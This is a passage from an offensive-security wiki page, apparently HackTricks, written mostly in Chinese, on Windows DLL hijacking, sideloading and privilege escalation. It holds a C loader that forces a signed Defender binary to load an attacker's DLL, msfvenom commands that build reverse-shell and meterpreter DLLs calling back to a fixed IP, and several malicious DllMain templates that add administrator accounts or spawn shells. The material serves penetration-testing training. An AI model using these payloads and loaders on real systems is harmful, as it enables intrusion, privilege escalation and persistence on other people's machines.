- 使用 RtlCreateProcessParametersEx 构建进程参数,并提供一个指向你控制文件夹(例如你的 dropper/unpacker 所在目录)的自定义 DllPath。
- 使用 RtlCreateUserProcess 创建进程。当目标二进制按名称解析 DLL 时,加载器将在解析过程中查看所提供的 DllPath从而即使恶意 DLL 未与目标 EXE 同处一处,也能实现可靠的 sideloading。
注意/限制
- 这只影响被创建的子进程;它不同于 SetDllDirectory后者仅影响当前进程。
- 目标必须按名称导入或通过 LoadLibrary 来加载 DLL未使用绝对路径且未使用 LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories
- KnownDLLs 和硬编码的绝对路径无法被劫持。转发导出和 SxS 可能改变先后顺序。
最小 C 示例ntdll宽字符串简化错误处理
```c
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
// Prototype (not in winternl.h in older SDKs)
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
PUNICODE_STRING ImagePathName,
PUNICODE_STRING DllPath,
PUNICODE_STRING CurrentDirectory,
PUNICODE_STRING CommandLine,
PVOID Environment,
PUNICODE_STRING WindowTitle,
PUNICODE_STRING DesktopInfo,
PUNICODE_STRING ShellInfo,
PUNICODE_STRING RuntimeData,
ULONG Flags
);
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
PUNICODE_STRING NtImagePathName,
ULONG Attributes,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
HANDLE ParentProcess,
BOOLEAN InheritHandles,
HANDLE DebugPort,
HANDLE ExceptionPort,
PRTL_USER_PROCESS_INFORMATION ProcessInformation
);
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
DWORD n = GetModuleFileNameW(h, out, cch);
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
}
int wmain(void) {
// Target Microsoft-signed, DLL-hijackable binary (example)
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
wchar_t dllDir[MAX_PATH];
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
RtlInitUnicodeString(&uImage, image);
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
RtlInitUnicodeString(&uCurDir, dllDir);
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
RtlCreateUserProcess_t pRtlCreateUserProcess =
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
NULL, NULL, NULL, NULL, NULL, 0);
if (st < 0) return 1;
RTL_USER_PROCESS_INFORMATION pi = {0};
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
if (st < 0) return 1;
// Resume main thread etc. if created suspended (not shown here)
return 0;
}
```
实战使用示例
- 将恶意 xmllite.dll导出所需函数或代理到真实版本放置在你的 DllPath 目录中。
- 根据上述方法,启动一个已签名且已知按名称查找 xmllite.dll 的二进制文件。加载器通过提供的 DllPath 解析导入并 sideloads your DLL。
该技术已在实战中被观察到用于驱动多阶段 sideloading 链:初始启动器放置一个辅助 DLL然后生成一个 Microsoft-signed、hijackable 的二进制,并使用自定义 DllPath 强制从暂存目录加载攻击者的 DLL。
#### Exceptions on dll search order from Windows docs
Windows 文档中指出了对标准 DLL 搜索顺序的若干例外情况:
- 当遇到一个 **与内存中已加载的 DLL 同名的 DLL** 时,系统会绕过通常的搜索。系统会先检查重定向和清单,然后才回退到内存中已加载的 DLL。**在这种情况下,系统不会对该 DLL 进行搜索**。
- 在 DLL 被识别为当前 Windows 版本的 **known DLL** 的情况下,系统将使用其 own 版本的 known DLL 及其任何依赖 DLL**放弃搜索过程**。注册表键 **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** 保存了这些 known DLL 的列表。
- 如果一个 **DLL 有依赖项**,则对这些依赖 DLL 的搜索将按它们仅由 **模块名** 指示的方式进行,无论初始 DLL 是否通过完整路径标识。
### 提权
**要求**
- 识别一个以或将以 **不同权限**horizontal or lateral movement运行的进程该进程 **缺少 DLL**
- 确保对将要搜索该 **DLL** 的任意 **目录** 拥有 **写访问权限**。该位置可能是可执行文件的目录,或系统路径中的某个目录。
是的,要满足这些前提很难:**默认情况下,很难发现缺少 DLL 的有特权的可执行文件**,而且 **默认情况下在系统路径文件夹具有写权限更是不太可能**(你默认不能)。但在配置错误的环境中这确实可能发生。\
如果你幸运地满足这些条件,可以查看 [UACME](https://github.com/hfiref0x/UACME) 项目。即便该项目的 **主要目标是绕过 UAC**,你也可能在其中找到适用于目标 Windows 版本的 **PoC**,用以实现 Dll hijaking可能只需更改你有写权限的文件夹路径
请注意,你可以通过以下方式**检查某个文件夹的权限**
```bash
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"
```
**检查 PATH 中所有文件夹的权限**
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
你也可以使用以下命令检查可执行文件的 imports 和 dll 的 exports
```c
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll
```
要获取关于如何在具有写入 **System Path folder** 权限时 **abuse Dll Hijacking to escalate privileges** 的完整指南,请查看:
{{#ref}}
dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md
{{#endref}}
### 自动化工具
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) 将检查你是否对 system PATH 中的任何文件夹具有写入权限。\
其他用于发现该漏洞的有趣自动化工具包括 **PowerSploit functions**_Find-ProcessDLLHijack_、_Find-PathDLLHijack_ 和 _Write-HijackDll_
### 示例
如果你发现可利用的场景,成功利用它的最重要事项之一是 **create a dll that exports at least all the functions the executable will import from it**。另外,请注意 Dll Hijacking 在以下方面非常有用:从 [escalate from Medium Integrity level to High **(bypassing UAC)**](../authentication-credentials-uac-and-efs.md#uac) 或者从 [**High Integrity to SYSTEM**](#from-high-integrity-to-system)。你可以在这个专注于 dll hijacking 用于执行的研究中找到一个关于 **how to create a valid dll** 的示例: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
此外,在 **下一节** 中你可以找到一些 **basic dll codes**,这些可能作为模板有用,或用于创建一个导出非必需函数的 **dll**
## **创建并编译 Dlls**
### **Dll Proxifying**
基本上,**Dll proxy** 是一种在被加载时能够执行你恶意代码的 dll同时也会将所有调用转发给真实库从而作为预期的库被暴露并正常工作。
使用工具 [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) 或 [**Spartacus**](https://github.com/Accenture/Spartacus),你可以指定一个可执行文件并选择要 proxify 的库,生成一个 proxified dll或者直接指定该 Dll 并生成一个 proxified dll。
### **Meterpreter**
**Get rev shell (x64):**
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**获取一个 meterpreter (x86)**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**创建一个用户x86我没有看到 x64 版本):**
```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### 你自己的
注意,在很多情况下,你编译的 Dll 必须 **导出若干函数**,这些函数会被 victim process 加载;如果这些函数不存在,**binary 无法加载** 它们,且 **exploit 将失败**
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
```
```c
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
```
```c
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
#include <windows.h>
int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
```
```c
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}
```
## 参考资料
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
- [Check Point Research Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
{{#include ../../banners/hacktricks-training.md}}